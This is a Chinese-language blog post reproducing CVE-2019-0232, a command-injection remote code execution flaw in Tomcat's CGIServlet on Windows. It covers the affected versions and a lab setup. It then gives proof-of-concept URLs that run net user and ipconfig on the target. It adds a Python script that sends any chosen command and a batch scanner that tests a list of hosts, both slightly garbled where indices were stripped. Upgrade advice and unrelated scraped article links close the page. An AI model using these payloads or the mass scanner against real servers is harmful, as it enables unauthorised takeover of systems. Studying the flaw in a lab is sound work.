Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现
Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现
一、漏洞描述
该漏洞是由于tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。成功利用此漏洞可允许远程攻击者在目标服务器上执行任意命令,从而导致服务器被完全控制。
该漏洞只影响windows平台,要求启用CGI Servlet和enableCmdLineArguments参数。但是CGI Servlet默认关闭, enableCmdLineArguments在tomcat 9.0之后默认关闭
触发该漏洞需要同时满足以下条件:
1、 系统为windows
2、 启用了CGI Servlet(默认为关闭)
3、 启用了enableCmdLineArguments(tomcat 9.0之后默认为关闭)
二、影响版本
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
三、漏洞环境
目标机:windows 7
jdk_8u71
apache tomcat 8.5.2
1、 java环境搭建,jdk下载、安装
下载地址:http://www.oracle.com/technetwork/java/javase/downloads/index.html
2、 测试java环境

3、tomcat下载、安装
下载地址: https://archive.apache.org/dist/tomcat/
4、 tomcat环境测试

四、漏洞复现
1、 打开Tomcat安装目录的C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\conf\web.xml修改为如下配置,在默认情况下配置是注释的

2、同时还要修改web.xml以下配置,否则访问cgi目录会提示404

3、修改C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\conf\context.xml,添加privileged="true"

4、在C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\webapps\ROOT\WEB-INF目录新建一个cgi-bin文件夹,在cgi-bin文件夹下创建一个hello.bat的文件,内容如下:

5、 漏洞利用
POC如下: #必须使用URL编码进行访问
http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user
http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig


6、使用python脚本验证目标是否存在漏洞
脚本如下:
#author:yuzly
#description:
#http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig import requests
import sys url=sys.argv[]
url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
cmd=sys.argv[] vuln_url=url+url_dir+cmd print("Usage:python cve-2019-0232.py url cmd")
print("the vuln url:\n\n",vuln_url)
r=requests.get(vuln_url)
r.encoding = 'gbk'
print("\nthe vuln response content:\n\n",r.text)
7、运行脚本

8、 编写批量自动化验证cve-2018-0232漏洞脚本
#author:yuzly
#blogs:https://www.cnblogs.com/yuzly/
#description:
#http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig import requests
import sys url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig" #payload with open("url.txt") as f:
while True:
url=f.readline()
if url:
url=url.split("\n")[]
#print(url)
vuln_url=url+url_dir
#print(vuln_url)
try:
r=requests.get(vuln_url)
#print(r.text)
if "IPv4" in r.text:
print("[+][+]%s is exist vulnerability[+][+]" %url)
else:
print("[-]%s is not exist vuln" %url)
except:
print("[!]%s is connection fail[!]" %url)
else:
break
9、 搭建环境测试,运行脚本

五、漏洞防御
1、 升级版本
2、 关闭enableCmdLineArguments参数
---------------------------------------------------------------------------------------
参考资料:https://xz.aliyun.com/t/4875
https://github.com/jas502n/CVE-2019-0232
Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现的更多相关文章
- ecshop 全系列版本网站漏洞 远程代码执行sql注入漏洞
ecshop漏洞于2018年9月12日被某安全组织披露爆出,该漏洞受影响范围较广,ecshop2.73版本以及目前最新的3.0.3.6.4.0版本都受此次ecshop漏洞的影响,主要漏洞是利用远程代码 ...
- Discuz! ML远程代码执行(CVE-2019-13956)
Discuz! ML远程代码执行(CVE-2019-13956) 一.漏洞描述 该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行 ...
- 最新漏洞:Spring Framework远程代码执行漏洞
Spring Framework远程代码执行漏洞 发布时间 2022-03-31 漏洞等级 High CVE编号 CVE-2022-22965 影响范围:同时满足以下三个条件可确定受此漏洞影响: JD ...
- Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞
漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...
- [工具]Tomcat CVE-2017-12615 远程代码执行
工具: K8_TocmatExp编译: VS2012 C# (.NET Framework v2.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.b ...
- 【研究】Tomcat远程代码执行漏洞(CVE-2017-12615)
一.Tomcat远程代码执行漏洞(CVE-2017-12615) 1.1 实验环境 操作机:windows 10 IP:192.168.1. ...
随机推荐
- .net core 利用Selenium和PhantomJS后台生成EChart图片
1.引用 NuGet安装: Selenium.Support Selenium.WebDriver Selenium.WebDriver.PhantomJS.CrossPlatform (分布Lin ...
- VS2008 环境中完美搭建 Qt 4.7.4 静态编译的调试与发布(很不错,有六张插图说明,修改qmake.conf里的MD参数等)good
为什么要在VS2008中使用QT静态编译呢?很简单,因为VS2008编译器编译出来的文件比mingw编译的要几乎小一半. 好了现在我们来做些准备工作,VS2008自然要安装的,然后打上SP1的补丁.然 ...
- 演练:创建和使用静态库 (C++)
我们将创建的下一个库类型是静态库 (LIB). 使用静态库是重用代码的一种绝佳方式. 您不必在自己创建的每个程序中重新实现同一例程,而只需对这些例程编写一次,然后从需要该功能的应用程序引用它们即可. ...
- BI-学习之 新概念介绍
什么是统一维度模型 层次结构.级别.成员和度量值 什么是MDX MDX与SQL的区别 什么是数据仓库 什么是OLAP数据分析引擎 BI企业级解决方案 什么是统一维度模型 维度(dimension)是描 ...
- 30+简约和平铺的WordPress复古主题
现在复古风格的设计非常流行,你可以快速建立属于自己的复古风格的网站.继续阅读下去,我们将展示给你一些精彩的WordPress复古主题. 多年来,网页设计师们纷纷用3D效果,纹理,噪声,渐变的灯光效果, ...
- TextBox的Enable和ReadOnly属性的限制
在以前的ASP.NET 1.x版本中,设置为ReadOnly的TextBox控件在客户端更改了值后,在服务器端仍然可以得到修改后的值,但在ASP.NET 2.0中,这种做法已经限制.这是为了提高应用程 ...
- 关于C# 异步
关于C# 异步操作整理 按照个人的理解, 写一个接口用Task异步操作(态度:接受并且学习,您提出宝贵的经验与理解,我会认真学习): 在主线程中调用异步方法,如果主线程依赖异步方法的返回值那么你一定会 ...
- Git--将已有的项目添加到github
(2). 初始化本地仓库,并提交内容到本地 需要先打开 命令行终端,然后通过 cd 命令切换到需要添加到github 的项目的目录下,然后依次执行如下命令, 具体命令及其含义如下: 1). touch ...
- request - cookie操作(二)
from urllib import request,parsefrom http.cookiejar import CookieJarheaders = { "User-Agent&quo ...
- xshell传送文件
xshel是一款非常好的ssh远程登入的软件,最近在玩hadoop发现的想把widows上的文件通过xshell直接传送到虚拟机中 这个解决方法还是非常不错的 https://jingyan.baid ...